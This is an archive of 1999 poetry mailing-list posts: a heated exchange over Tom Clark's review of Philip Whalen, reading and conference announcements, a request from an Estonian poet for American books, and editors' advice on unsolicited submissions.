Perhaps "flawed thoughts", Mr. Bromige, are those that lack the "inconsistencies" and "unresolved conflicts" that many of us in the world live with (you know, there is that whole nasty business with Blake about contradictions). While your confidence in the post below reveals a singular spirit of high minded moral and aesthetic integrity, I assume that if anyone is interested they can go to JACKET's site and wrestle with TC's flawed prose on their own, or, better yet, read one of his books. The point I think some of us wish to make is that Whalen should be the focus of discussion, (his own twisted inconsistencies aside), since, as I hope, his work, tentativley, fueled the impulse toward greater engagement with this thread. I for one would prefer to see this conversation move toward an evaluative or critical discussion of OVERTIME, since it is the first representative sampling of that Beat Abbot's poems in many years. Devotion, by the way, doesn't create blind spots so much as highten with critical measure another's flaws. But I will defend my teacher's name when he is unjustly accused of doing a hatchet job. Only a handful of people read such

ugly claims into that review. (Philip himself was pleased with it!). You and others want to turn the conversation away from the positive critical possibilities that could attend a discussion of Whalen's work by slugging through the same old drudge. Let TC continue to deal with the consequences of his past deeds. For some reason, many of you here are dealing with those consequences too, instead of attending more urgent issues of poetry. I've heard every opinion about the man and his work from those whose confidence only measures value by the approval of greater markets than themselves. The hypocritical gestures of consistency make nice rhetorical poses, but I think the stance below is too transparent to be read by anyone as anything more than a reductive, impotent war dance. I'll end my own rhetorical appeal with a poem of Philip's from "Many Happy Returns" written, it says, for Tom Clark:

THE LETTER TO THOMAS CLARK 22: VII:71
FROM BOLINAS WHERE HE SAT BESIDE ME
TO HELP WRITE IT

Tom Clark
Waco, Texas

(crossed out. All our
addresses crossed out)

Dear Tom. Received your letter
& no mistake
about the address or the sender (name of
Angelica) but
you
look just the least bit changed.

Due to this minuscule point
and the fragility
of the ink,
And the wrong time of day all over town
It was not the phone.
but
(the fragility . . . .
of one's own neuromuscular mechanism
where that S W A M P)
Yours truly,
Dad.

David Bromige wrote:

> *thus Kent Johnson. Now tell me, Kent (and others, should you know), is the List's reaction to Tom Clark utterly without grounds, has he been selected*

at random for extraordinary punishments, "demonized" as Kent would have it metrely through bad luck and the need for a scapegoat.....Or is the rhetoric flourished in the citation above, a way to distract us from some pretty obvious flaws?

And if so, in the name of _what_ is this rhetoric flourished? Tell me, fellow-listlings, if you can : does TC command such loyalty in some, that they will overlook what any person of average I.Q. (I allude to myself f and f) would recognize in TC's writings as major inconsistencies, unresolved conflicts, flawed thought.....or what have you?

Excuse the upcoming divagation : I had occasion once to write to the wife of a man who had abandoned all reason and logic to castigate me publicly. My response to this rudeness, at first reasoning, became itself rude. To which she now objected, inserting herself into the exchange. To which I responded by remarking the several provocations. To this she did not respond. To her, it was as though the words her man had uttered, that started it all, did not exist--had not been uttered. Presumably because somebody _she_ loved, would not proceed in such a way.....despite the evidence was under her very nose. Or somehow lacked significance because by prior agreement with herself, her husband was without flaws---was perfection. Hmmm, what it would have cost her, to admit otherwise!

What is it about Tom Clark that inspires this connubial kind of loyalty in his admirers, a bond that will not admit his faults?

And, cororally, are we able to perceive a pattern, are these supporters in other ways similar to one another? Does the School of Clark consist of persons Contented with their Blind Spots?

Maybe exercises this exhaustive aren't necessary. Let's simply ask that Kent or Dale or whomever put some piece of TC's up here where we can all read it, some piece that commands their admiration; and then we who would be interested in such engagement, can point out its shortcomings, and in this way, educate. Or, unlikely but possible, declare ourselves as a-brim as they with admiration, and bow out.

Rider : If "De gustibus non disputandum" were the rubric proceeded under in this thread, there could be no dispute. If I recall aright, the dispute began with Steve Vincent remarking on internal conflicts --- taste-disputes --- in the TC piece on Whalen. It is TC's dispute with himself we address, then, a dispute he has made our business in making it public.

And surely TC can stand the heat and not vacate the kitchen. Why are his fans so protective of him? Is there a mindlessness which he performs, that they feel he performs in their behalf? So that they do not mind him, but mind those who would remove the protective caul?

> *db.*

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58. **Chris Stroffolino**

Re: THING....(TYPO CORRECTION....

Tue 6 Jul 1999

Much confusion here i suppossee

blame it on the heat, or the broken fingers....
but actually the event is
SATURDAY JULY 10!!!!!!
Nott july 11th
und not july 19th (which i think is george mcgovern's birthday)
sorry about any
mixed up confusion....

On Fri, 2 Jul 1999, Chris Stroffolino wrote:

> *Here's a THING I'm involved in....*
> *There will be FREE DRINKS*
>
> *Reuben reubin and LEE Klein*
> *invite you to celebrate the publication of*
>
> *CAME LIKE IT WENT*
> *by Greg Fuchs (buckdown books)*
>
> *UNLOCKING THE EXITS*
> *by Eliot Katz (Coffee House Press)*
>
> *VERTICAL's CURRENCY: NEW & SELECTED POEMS*
> *by Joel Lewis (Talisman*
>
> *THE FUTURE IS NOW b Elizabeth Morse (Linear Arts)*
>
> *STEALER'S WHEEL by Chris Stroffolino (Hard Press)*
>
> *Saturday July 19, THE VIP ROOM IN the new CHINA CLUB*
> *268 West 47th St. (btw. b'way & 8th)*
>
> *Doors open 10PM; "cocktails" 10-11*
>
> ----------

> *We'll probably all read like 2 poems or something too...*
>
> *If can't make it, you may find my book in POSMAN's BOOKSTORE*
> *(University Place) and St. Marks may still have it...*
> *You could also STEAL it from BARNES & NOBLE....*
>
> *----chris*

↑ Index

59. **WaldReid**
poet from Estonia
Tue 6 Jul 1999

The following letter from a poet in Estonia came to me via a friend who is a fiction writer and didn't know how to respond. I thought someone on the list might want to correspond with Indrek Tart directly (e-mail address at end) and/or send some small press publications to a lovely cause (read through to the end of the letter). Diane Wald

>><< Dear Ms. W,
>> I'm a poet and cultural studies researcher (b. 1946) in Estonia at the
>> Baltic sea.
>> Estonia has through its rise of the national consciousness from the
>> first part of XIXth century (after abandoning the serfdom) built its
>> identity around the Estonian language in which poetry had played a
>> leading role. Especially under colonizing rules of Czar-Russia up to
>> 1918 and under Soviets (1944-91) poetry has been the most secret
>> language of the nation to keep its mind safe and sane.
>> In 1992 I was in the States in International Writing Program at the
>> University of Iowa which is now in unfavor and will be closed. As I
>> understand it was the main gate for the States to host foreign writers
>> and let them know the States better. It were very useful three months
>> for me. I visited mine pen-friends and talked a lot of poetries
>> situation in both countries. My library of English-language poetry is
>> quite great.
>> Now after the unrest years of transition (I personally had to change a
>> profession of the physicist into a social scientist one) Estonia seems
>> to be settled into the Western way of living again (Western way of
>> thinking here wasn't never lost, even under the Soviets we were regarded
>> as the more developed Western part of that country). And along with mine
>> research of Estonia's poetical development in 1851-1998 I'm again
>> engaged with thoughts of more international views on poetry's being.
>> Poetry is not a capitalist business-like commodity for sale but

>> something preserving nation and humanity by itself under different
>> pressures of times and its share in the book production titles in
>> developed and transitional countries is not minimal (2-6%). Thus it
>> functions for survival of the nations (and communities, e.g. Estonians
>> exiled to the West in 1944 had to rebuild Estonian literature in abroad
>> and it was successful project until the end of the Cold War). Also I'm
>> thinking of generational likeliness (poetry of poets born around the
>> same time) and the influence of age, gender and global cultural climate
>> (if that exists?) on poets' writing. Are poets just lost souls from the
>> past or future or gaining importance only due ideals practitioned in
>> locality (abstractions pressed into local language use) or contrary the
>> locality makes them to overgrow it and become citizens of the Heavenly
>> Thought? Also, how our living (life-world in sociological terms) in
>> language makes poetry unnecessary? Etc. Etc.
>> ***As a small start I'm looking for fresher poetry from the States to
>> compile a small anthology and translate it into Estonian. I hope that
>> along with Estonian Endowment for the Arts (we call it
>> Kultuurkapital=Cultural Capital) there may be interest from US side too.
>> In 1988-93 I published several translation columns of American, British,
>> Welsh poetry in our newspapers but now this tradition has disappeared as
>> poems are not fresh news for the papers, thus unsellable. But poetry
>> chapbook publishing flowering in Estonia has no precedents. If You could
>> and want to take part in my adventure please send Your freshist (or
>> best) volumes to the address of our Centre for Cultural Studies below.
>> Or just write me of Yours views.
>> We already are friendly souls in poetry and poetry could save the world,
>> not money or political tricks.
>>
>> In full friendship,
>>
>> Indrek Tart
>>
>> P.S. I found Your address in A Direstory of Poets & Writers on-line
>> version.
>> --
>> Indrek Tart
>> senior researcher
>> Centre for Contemporary Cultural Studies
>> Tallinn Pedagogical University
>> Narva Rd. 25, Tallinn 10120, ESTONIA
>> Phone: [redacted] 463
>> Fax: [redacted] 118

>> E-mail: [redacted]
>>
Dear Ms. Wald,
You could spread my call for help in any convenient
way. I'm really interested in which kind of poetry is written and read
in this Networked Societies Age and how poetry transforms under those
new pressures and opportunities. As I'm convinced of poetry's special
role in maintaining mental health of the mankind. I'm interested in
Yours list too, by now I'm more looking developments in British & Irish
Poetry list lead by my friend Ric Caddell who is librarian and head of
the Basil Bunting Poetry Centre in Durham (UK).
Also in Boston area lives my long time friend Marge Piercy who's e-mail
has been lost in my computer crash last year. If You could find it out
it will be marvelous (in A Directory of Poets & Fiction Writers there is
only a homepage of her but non e-mail in it.
Best wishes,
Indrek Tart

↑ Index

60. franklin bruno
kimberly lyons
Wed 7 Jul 1999

---

anyone--

A while back (in the last month or so) someone posted here advertising a chapbook by Kimberly Lyons. I seem to have deleted the message, and can't find it in the archives. Could someone w/ ordering info please send same my way?

b/c fine--but the next day or two would be best, as I'll be offline from 7/10 onward.

thanks,
fjb

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61. Jason Nelson
just finished engineering poetry webpage
Wed 7 Jul 1999

I just finished putting some of my engineering poetry into a hypertext format. Any thoughts on the page would be just keen or more than keen.

creativity.bgsu.edu/courses/art586/Sum99/students2/Jason/index.html

cheers,

Jason Nelson

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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62. George Bowering

Re: whalen,

Wed 7 Jul 1999

I'll tell you about the first Whalen reading I heard. It was in a big room at UBC during the '63 poetry summer of legend. After about fifteen minutes, Whalen could tell that a lot of people in the room could not handle his discontinuous poems with white space between the lines, so he stopped and sd it wd not bother him if the people who were bored and uncomfortable went on out to the cafeteria or some such place. He would take a five minute break and let folks get out with no guilt. Then everyone that was left, about half the crowd, skoonched down close, and Whalen read for about an hour and a half,. and it was just wonderful--and you know: I think it was even more wonderful for the kind and sharp action he'd taken.

George Bowering.

,

fax: [redacted]

↑ Index

63. Douglas

Re: Unsolicited Submissions/Taos Poets Gathering

Wed 7 Jul 1999

We are currently not reading new manuscripts.

DM

David Erben (Art) wrote:
>
> Can anyone tell me what the "typical" letter accompanying an unsolicited
> submission should look like?
>
> And... did anyone happen to attend the gathering of Native American poets
> that occurred in Taos two or three weeks ago?

↑ Index

64. Michael Franco
BOSTON ALTERNATIVE POETRY CONFERENCE
Wed 7 Jul 1999

ANNOUNCING:

THE 2nd ANNUAL
BOSTON ALTERNATIVE POETRY
CONFERENCE

JULY 23-25, 1999

The Art Institute of Boston
at Lesley
700 Beacon St.
Boston, MA

SCHEDULE OF EVENTS: as of 6/30/99

Friday, July 23

6:30 p.m. - Night Reading - Andrew Schelling, C.D. Wright, Michael Franco, Anselm Berrigan, Magdalena Zurawski, Daniel Bouchard, Donna de la Perriere

Saturday, July 24

9:00 a.m. - William Bronk Reading - (Jack Kimball, Donna de la Perriere and others)

10:00 a.m. - Morning Reading - Douglas Rothschild, Sean Cole, Diane Wald, Barbara Claire Freeman, Richard Dillon, Brendan Lorber

12:00 Noon - Lunch Break

1:00 p.m. - Frank Ohara Reading - (Anne Waldman, Jordan Davis, Douglas Rothschild and others)

2:00 p.m. - Alan Gilbert - "Poetry as Document"

2:30 p.m. - Afternoon Reading - Tina Darragh, Beth Anderson, Peter Ganick, Drew Gardner, Chris Stroffolino, Alan Gilbert, Patrick Doud, David Kirschenbaum, Sam Truitt, Ed Barrett,Ammiel Alcalay

5:00 p.m. - Dinner Break

6:00 p.m. - Maria Damon - "Something About Bob Kaufman and the Poet's Labor"

7:00 p.m. - Night Reading - Anne Waldman, Leslie Scalapino,
John Wieners, Gerrit Lansing,
Michael Gizzi, Kristin Prevallet

Sunday, July 25

9:00 a.m. - Emily Dickinson Reading - (Joseph Lease, Jack Kimball and others)

10:00 a.m. - Morning Reading - Jack Kimball, Prageeta Sharma,
Jacques Debrot, Heather Scott
Peterson, Aaron Kiely

12:00 Noon - Lunch Break

1:00 p.m. - Afternoon Reading - "Ways to Read" (Michael Basinski, Wendy Kramer, Kenneth Goldsmith)

2:00 p.m. - Afternoon Reading - Raffael de Gruttola, Tadashi Kondo,
Wilfred Croteau (renku and haiga)-
Andrew Schelling reads from his
"Road to Ocosingo"

3:00 p.m. - Afternoon Reading - Lewis Warsh, Will Alexander, Jordan
Davis, Henry Gould, Damon Krukowski,
Jim Behrle, Marcella Durand

5:00 p.m. - Dinner Break

6:00 p.m. - David Shapiro - "A Radiant Pluralism: For Poetry"

7:00 p.m. - Night Reading - David Shapiro, Lyn Hejinian, Forrest Gander, Joseph Lease, Lisa Jarnot

CONFERENCE REGISTRATION:

Weekend Pass: $40
Saturday or Sunday only: $18
Single Readings: $7

Student discounts available. Tickets available at the door or by pre-registration. For more registration info. contact Aaron Kiely at this email, by phone at [redacted] or at PO Box 441517, Somerville, MA 02144

Thank You!

↑ Index

65. Gerald Schwartz
Re: Spiral question
Wed 7 Jul 1999

metaphormetaphormetaphor
movement
from semi-intransitive semi-
consciousness to
CONScientization
act act act of knowing
IS A SPIRAL
Sequence The Cyclical Movents!
Require A Big Push!
Genuine The Dialogue!

Move up the spiral
with expression
cognate the object

or fail to unveil
the CRUSH

Gerald Schwartz

↑ Index

66. Annie Finch
Re: POETICS Digest - 3 Jul 1999 to 4 Jul 1999 (#1999-127)
Wed 7 Jul 1999

Now, that's what I call poetry! What's E.A.C.?

--Annie

> *Song from E. A. C.*
>
> *Oh maiden, bind the stalks!*
> *Aroo lay, aroo lay!*
> *Oh maiden, the stalks will be bound!*
> *Aloor, aroo lay, aroo lay!*
>
> *Oh youngman, carry the sheaves!*
> *Aroo lay, aroo lay!*
> *Oh youngman, the sheaves will be carried!*
> *Aloor, aroo lay, aroo lay!*
>
> *Oh maiden, unbind the stalks!*

> *Aroo lay, aroo lay!*
> *Oh maiden, the stalks are unbound!*
> *Aloor, aroo lay, aroo lay!*
>
> *Oh youngman, assemble the sheaves!*
> *Aroo lay, aroo lay!*
> *Oh youngman, the sheaves are assembled!*
> *Aloor, aroo lay, aroo lay!*
>
> *Oh maiden, the sheaves and the stalks!*
> *Aroo lay, aroo lay!*
> *Oh youngman, the stalks and the sheaves!*
> *Aloor, aroo lay, aroo lay!*

Annie Finch (http://muohio.edu/~finchar)
Cincinnati, Ohio
Associate Professor of English/Creative Writing
Miami University

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67. Douglas Barbour

Carnivocal: A Celebration of Sound Poetry / Edited by Stephen Scobie & Douglas Barbour

Wed 7 Jul 1999

The Sound Poetry CD, Carnivocal, Explodes the Boundaries of Poetry

Red Deer, AB, June 24, 1999 - While all types of poetry experiment with language and meaning, no type of poetry pushes at the boundaries of language and meaning quite as much as sound poetry. Most people come to poetry through the medium of the written word, but sound poetry offers a completely different, more sensory experience. Sound poetry cannot be written down, cannot be captured into writing - it must be heard. In order to fully understand it and to capture its evocative power, listeners must sit back in a comfortable, reclining chair and place this unique CD into their CD player. As Edita Petrauskaite, the Executive Director of the League of Canadian Poets, says, "Close your eyes, sit back and let the poetry take you."

Sound poetry has evolved into an experimental and powerful medium and it explores all forms of sound, not just the varieties of sound which form human speech. However, as Carnivocal editors and sound poets Stephen Scobie and Doug Barbour say: "Sound poetry is the celebration of all the expressive possibilities of the human voice."

Sound poetry dates back at least to the experiments of the Dada poets such as Kurt Schwitters and Hugo Ball. In Canada, it has been string since the 1960s, when bp Nichol and bill bissett began exploring and reinventing its traditions. In the 1990s, a new generation of sound poets has revitalized the Canadian tradition and on this CD their voices sound alongside many of the best-known earlier practitioners. Carnivocal presents a range of contemporary solo performers including: bp Nichol, bill bissett, Stephen Cain, Gerry Shikatani, Claude Gauvreau, Christian Bök, Penn Kemp, W. Mark Sutherland, Richard Truhlar, Penn Kemp, Paul Dutton, Steve McCaffery, & Steven Ross Smith; and various ensembles, including a classic recording by The Horsemen and Owen Sound,as well as groups such as Re:Sounding, First Draft and the exciting new sounds of Verbomotorhead.

Douglas Barbour and Stephen Scobie first began performing together as the poetry vocal ensemble Re:Sounding in the mid-1970s. As well-known poets and critics, they have produced between the two of them over twenty volumes of poetry and criticism. Stephen Scobie won the Governor General's Award for Poetry and Douglas Barbour won the Stephan G. Stephansson Award for Poetry.

Carnivocal: A Celebration of Sound Poetry / Edited by Stephen Scobie & Douglas Barbour Published by Red Deer Press & The Omikron Group/ Distributed by Raincoast Books 0-88995-210-8 * Compact Disk * CAN $16.95 / USA $12.95

In the United States address orders to:
General Distribution Services Inc.
85 River Rock Drive, Suite 202
Buffalo NY 14207
Tel: [redacted]
Fax: [redacted]

In The United Kingdom address orders to:
Lavis Marketing
73 Lime Walk, Headington
Oxford OX3 7AD UK
Tel: (01865) 67575 / [redacted]
Fax: (01865) 750079 / + 44 1865 750079

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Davidson NSW 2085 Australia
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PO Box 30566 / (44b Victoria Street)
Lower Hut, Alicetown New Zealand
Tel/Fax: 64-04-[redacted]

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5
(h) [780] [redacted] (b) [780] [redacted]
http://www.ualberta.ca/~dbarbour/dbhome.htm

> In the new dispensation, conspiracy
> Will be replaced by
> Collusion, the diction of the age
> Filtered through the great sieve of particulars
> To be sorted out later,
>
> Ann Lauterbach

↑ Index

68. Pritchett,Patrick
FW: Gore, AIDS drugs, South Africa: summary (fwd)
Wed 7 Jul 1999

Chris, could you please post this disturbing bit of news?
Thanks, Patrick

> *-----Original Message-----*
> *From: Stephen Daniel M <[redacted]>*
> *+++++*
>
> *Gore, AIDS drugs, and South Africa*
>
> *AIDS activists disrupted Al Gore's announcement of his presidential candidacy in Carthage, Tennessee on June 16 and at subsequent campaign events in protest of the Vice President's role in preventing AIDS drugs from*
> *reaching South Africans with AIDS. The Clinton Administration has sided with American pharmaceutical companies over the desperate need of 22.5 million South Africans with HIV, most of whom can't afford necessary medicines for common AIDS infections like tuberculosis and pneumonia.*
>
> *South Africans with HIV need cheap generic AIDS drugs because name-brand drugs, from which the American drug makers would reap huge profits, cost $12,000 per year. The average annual income in South Africa is $2,600 per*

year.

To combat the growing public health emergency South Africa and other developing countries have sought to enact "compulsory licensing" - local licenses to produce generic versions of patented medicines. Compulsory licensing, legal under current international trade agreements, would lower drug prices as much as 90%.

But in recent negotiations with newly elected South African President Thabo Mbeki, Gore has threatened severe international trade sanctions against South Africa if it allows production of generic drugs. On April 30, Gore himself authorized a review of South African policies on compulsory licensing and set a September 30 deadline for South Africa to comply or suffer sanctions. Gore is co-chair of the US/South Africa Binational Commission.

Gore announced this policy in cooperation with the Pharmaceutical Research and Manufacturer's Association, which includes huge drug companies like Bristol-Myers Squibb, Glaxo, Pfizer, and Johnson and Johnson. One of the drugs South Africa wants to produce generically is the Taxol, used to treat cancer. Taxol was developed by the US National Institutes of Health, i.e., at taxpayer expense, but the Bush Administration handed exclusive rights for Taxol over to Bristol-Myers Squibb, a private corporation.

Gore's personal connections to the pharmaceutical industry include David Beier (domestic policy advisor), former head lobbyist for Genentech; Tony Podesta (advisor), lobbyist for the Pharmaceutical Manufacturer's Association; Tom Downey (confidant), lobbyist for Merck; and Peter Knight (fundraiser), former Schering-Plough lobbyist.

The policy on South Africa's right to produce generic drugs constitutes a "free-trade" issue, with the US seeking international protections for patents owned by American corporations ("intellectual property rights"). Other countries under pressure from the US include Thailand and India, which like South Africa face an enormous public health crisis because of AIDS. In nine southern African nations, more than 20% of people between the ages of 15 and 49 are infected with HIV. Gore's actions may cost millions of lives.

In April, AIDS activists organized a demo in DC (at the Pharmaceutical Research and Manufacturers of America office) in protest of the Clinton/Gore

> *free-trade "Africa Growth and Opportunity Act" and in favor of Rep. Jesse Jackson Jr.'s "HOPE for Africa Act" with 21 folks arrested for civil disobedience.*
>
> *The AIDS activist groups who have protested Gore's actions include AIDS Drugs For Africa, ACT UP, and Health GAP (Global Access Project), an international network of public health advocates. ACT UP Washington's Wayne*
> *Turner attended (with the backing of the DC Green Party) a June 28 demonstration in Philadelphia, at a major Gore campaign fundraiser.*
>
> *There are few clearer and more disturbing examples of the Clinton Administration's tendency to favor corporate greed over human need. If Gore*
> *blocked AIDS drugs in the US, he'd be denounced as a genocidal despot. Instead, he's the Democratic Party frontrunner for President.*
>
> *Scott McLarty*
> *Washington, DC*

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69. Alan Sondheim

NOISE news :: peforations 20 (fwd)

Wed 7 Jul 1999

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"The bit of noise, the small random element, transforms
one system or one order into another."
M. Serres

"Between the rationality for which the analysis speaks and
the law that history repeats there remains a gap,
infinitesimal to be sure,

but fundamental"
M. De Certeau

Welcome to NOISE NEWS, a notification publication of PERFORATIONS and Public Domain, Inc. a non-profit organization devoted to examinations of the crossing points of art, theory, technology and community. (see www.pd.org)
*** *** ***

CALL FOR SUBMISSIONS: PERFORATIONS 20

LAST STORIES
contact: Robert Cheatham / [redacted]
Ginger Dendy / [redacted]

All types of media will be considered, but especially approaches which explore new relations between content and form. Each issue of PERFORATIONS (we now call them 'nodes' since each thematic is an ongoing site of investigation/creativity) includes straighforward articles as well as artistic web projects. Deadlines are fluid. Contact above editors for more information.

PERFORATIONS may be viewed at:
http://www.pd.org/perforations/perf-topics.html

LAST STORIES

Mostly it seems they're all we have, really. After the 'procession of priests' (theoria) has precessed past our increasingly narrow attention span; after the bombs have dropped (and before, for that matter); when the guy in the ape suit is throwing the bone up in '2001' (goodbye Stanley) and when we catch it in the hear, and gnaw, we who live in the future, on those bones, those very ancient lineaments, we who are sighting along the 'scope hairs, looking for the next target of acquisition...well, stories are what we started with and stories are what we still have.

But just to make it a little more focused and to satisfy our own need for eschatology (both singular and global): why don't we say that we only have a limited amount of time to live (after all is said and done, this may come of news to some of us) or that the Third Millennium will come a cropper and leave us poor humans face down (of course, no one really believes that...but we're telling stories remember?)

Pehaps you have a last will and testiment you would like to send us, or a death bed confession, or a lie you can't stop believing in but will be glad when it's all over, or that peculiar need to expose yourself, whistleblow on yourself, that often attacks those at the end.

Or maybe you have a happy story of the end/End wherein your life flashes before you (and hence us since you will send it to us) and it was a photo finish, but a good one nevertheless, set'm up Finnegan; or the species rounds the corner finally into its Golden Dawn, every Thing finds its place, the animals speak; or you have a Final Theory of Everything at the end which redeems us all and makes the whole trip worthwhile...

Personal stories, theoretical stories, endings which are beginnings, eschatological fairy tales, lies (the end of truth), fables (the lying truth after the end), happy endings, tragic endings, tales with nothing but pictures for those of us who find it increasingly hard to read here in the future and thus closer to the end.... send them all to us.

while there's still some time left.

PERFORAIONS 18, RELICS, is now up and running at :
http:// www.pd.org/perforations/perf-topics.html

for info on new material added click on WHAT'S NEW at www.pd.org. It's not always up to date so feel free to browse around.

Public Domain, Inc. is a 501 (c) 3 not for profit organization.
http://www.pd.org
[redacted]

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70. Lowther,John
FW: Merce Marathon on NYC TV
Thu 8 Jul 1999

---

i'm poaching this off the silence list
wish i had access to this - hope that some of you do

> *According to http://www.nytimes.com/yr/mo/day/news/arts/cunniungham-dance-film.html (and yes, the misspelling of "cunningham" is part of the URL), the Metro Learning channel will be showing 42 hours of Merce Cunningham dances, documentaries, and interviews next week, Monday through Saturday from 9:30 P.M. to 3:30 A.M.*

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71. **Poetics List**

** A R E A D I N G * (fwd)*

Thu 8 Jul 1999

---------- Forwarded message ----------
Date: Thu, 8 Jul 1999 09:29:00 -0400
From: Gary Sullivan <[redacted]>
To: [redacted]
Subject: * A R E A D I N G *

C O R R E S P O N D E N C E

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h o f n
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y

N A D A G O R D O N + G A R Y S U L L I V A N

Sunday, July 18
Zinc Bar, 90 West Houston (at La Guardia/West Broadway)
6:37 p.m. * $3.00

Beginning in the fall of 1998, Nada Gordon, then living in Tokyo, and Gary Sullivan, who'd moved to New York the previous year, began a daily correspondence that culminated in April of 1999 with Nada's return to the U.S. after 11 years in Japan. Prior to ever meeting one another, the couple produced and exchanged 1,000s of pages of letters, poems, anecdotes, theoretical musings, gossip, bibliomancy--anything & everything to keep their connection open and abuzz despite being halfway around the globe from each other. Nada and Gary will read poems and other excerpts from their correspondence.

NADA GORDON is the author of _rodomontade_, _more hungry_ and _lip_, and co-edited the magazine _Aya_. A new collection, _Foriegnn Bodie_, will be published this fall. Her writing has appeared in numerous periodicals over the years including _Chain_, _Jimmy & Lucy's House of K_, _Printed Matter_ and (from their exchange) _The East Village Poetry Web_ at:
http://www.geocities.com/~theeastvillage/a6/gordon/a.htm

GARY SULLIVAN is the author of _Dead Man_, and edits Detour Press and _Read.Me_. _The Art of Poetry_ is forthcoming later this year. His writing and cartoons have appeared in numerous places, including _The Gertrude Stein Awards 1994-1995_, the _o.blek_ "New Coast" issue, _Avec_, _Rain Taxi_, _The SF Weekly_, _Talisman_, _Tool: A Magazine_, _The World_ and (from their exchange) _The East Village Poetry Web_ at: http://interserver.miyazaki-med.ac.jp/~east/t5/sullivan/a.htm

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72. Pam Brown

unsolicited mss letters ?

Thu 8 Jul 1999

Hello Poeticists -
At "overland" we get about 250 unsolicited poems every
six weeks. I've been the poetry editor for a couple of
years now and would really discourage any prospective
publishee from sending a curriculum vitae with their
submissions. I read the POEMS - not the track record.
Best,
Pam Brown
--- Todd Baron /*/ ReMap Readers
<[redacted]> wrote:
> David Erben (Art) wrote:
> >
> > Can anyone tell me what the "typical" letter
> accompanying an unsolicited
> > submission should look like?
> >
> >
> THere should be none. A writer should only submit
> work to publications
> s/he is reading and familiar with. Thus, the letter
> is not an attempt to
> get one's work "in print" but rather a statement of
> desire to enter into
> the dialogue the publication seeks to engage. At
> ReMap we get a hundred
> (yup!) submissions a year from folks who are not
> familiar with ReMap.
> This is obvious from the "generic" letters that
> accompany the work. As

> we struggle to stay in print ($) and (readers) we
> simply send this work
> back--. We're not trying to publish only those poets
> we know--but we do
> struggle to publish the poets who know the magazine.
>
> Todd Baron
>
===
Web site/P.Brown - http://www.geocities.com/SoHo/Workshop/7629/

_____
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

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73. **nuyopoman**
Maureen Owen
Thu 8 Jul 1999

Read all about Maureen Owen's return to publishing and the revenge of mimeo's proud Telephone Books : http://poetry.about.com.

Bob Holman, Co-Guide

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74. **nuyopoman**
Gathering of the Tribes Wants You
Thu 8 Jul 1999

The following scenes are invited to participate in the Opem Mic Party (bring some to get some) at Steve Cannon's Gathering of the Tribes, 285 East Third St (C-D), NYC, Sunday, August 18, 1999, 6-8(?) PM:
AAWW
ABCNoRio
Academy
A Different Light
Amygists
Anti-Slam
Basement Wkshp
Beats
Bklyn Moon
Black Arts
Black Mountain

BoogLit
Bronx Writers Ctr
C Magazine
Cafe
Church
Conjunctions
Dada
Deep Imagists
EAPoe
Ear
Exoterica
Fugs
Futurists
Grand St
Haiku Soc
Harlem Renaissance
Here
Home Planet
Imagists
Language
LitBitLouda
Long Shot
Lungfull
Mad Alex
Mouth Almighty
MTC
neither/nor
New Yorker
Ninety-SecondStY
NoSeNo
NYSchool
Objectivists
Orion
P&W
Paris Review
Pedro Pietri
PoCal
Poetry Nation
PoHo
Rogue Scholars
Segue
SF Renaissance

sic
Slam
Society
Surrealists
T&W
Taco Poets
Tender Buttons
Umbra
Unbearables
United Artists
Urbana
US of Po
World of Poetry
Writers Voice
Yeats Soc
Zinc

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75. Mark Prejsnar/Erika Stephens

meditation on meditatives

Fri 9 Jul 1999

---

would welcome comments about PW.
>to my view, there's a meditative, discursive breed of poetry that includes
>um
>PW, Lew Welch but also (I'm not suggesting a school) Carl Rakosi, Charles
>Resnikov and... Paul Blackburn?

A perfectly interesting and reasonable challenge, ..cutting across SF renass. men, semiconscienciousObjectors, NY SchoolBoyz, etccc..

*Blackburn seems maybe a bit selfdramatizing, to be called meditative (tho discursive works);

*Reznikoff's documentary turn, also makes him a little hard to assimilate to this idea...

...could the breadth and spreading-out feel of most (or all) of these (really the "discursive" part of the formulation quoted above), be understood in the final analysis as a *reaching back and around* toward whitman? --"around" would acknowledge the fact that Olson among others are (in a way not felt enuff by critics?) respnding to walt,... but that they do so in a techno-intense way that looses a certain walt'ish generolsity of spirit?? Ol Ez hisself for that matter, making his one-sided "pact..."

If so, maybe the central spirit of this discursive and meditative subcurrent is ..... Duncan?

--Mp

> *it's easy enough to evaluate Tom Clark (I'll bet he enjoys chardonnay) because he has mustered himself into so many public venues. to describe him as an anti-christ is interesting theology, but, without supporting argument, not a shining example of critical acumen. I'm not worried about Tom Clark anyway, a-c tho he might be. at the risk of making eye contact, I bet Kent Johnson COULD provide critical acumen re PW so I hereby request that he, or anyone, do so. me, whoever I happen to be,my own thoughts aren't well formed, hence my*
> *request. at any*
> *rate, I too suspect Whalen is under-appreciated (and double that with Kyger: I too am guilty as charged). I have On Bear Head, am not positioned to buy anything new and have read very little about PW. Billy Little briefly suggested some useful talking points concerning PW, and I truly doubt the mean moderator would prevent further discussion so trip the light fantastic step, how about. a minor buzz about PW could be bestirred right here in this seething climate. my thinking, you see, is that theory begats action.*

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76. **pete spence**

Re: Carnivocal: A Celebration of Sound Poetry / Edited by Stephen Scobie & Douglas Barbour

Fri 9 Jul 1999

> *The Sound Poetry CD, Carnivocal, and Doug Barbour say: "Sound poetry is the celebration of all the*
> *expressive possibilities of the human voice."*
>
> *Sound poetry dates back at least to the experiments of the Dada poets such as Kurt Schwitters and Hugo Ball. In Canada, it has been string since the 1960s, when bp Nichol and bill bissett began exploring and reinventing its traditions. In the 1990s, a new generation of sound poets has revitalized the \ tradition Ann Lauterbach*

in Australia a good sound poetry group tha's been 'round since late 70's und still going is ARF ARF they have a cd out//pete spence

_____

Get Your Private, Free Email at http://www.hotmail.com

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77. Ron Silliman
Trane DeVore
Fri 9 Jul 1999

There is a nice piece on Trane DeVore and his new book from Avec in today's SF Chron,

http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1999/07/09/EB62278.DTL

Unlike the Whalen review a few weeks ago, this is a genuinely nice piece, even if it makes a bit too much of Trane's grandparentage.... (perhaps that should be two words).

Ron Silliman

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78. maz881
bard conf
Fri 9 Jul 1999

Dear Katy,

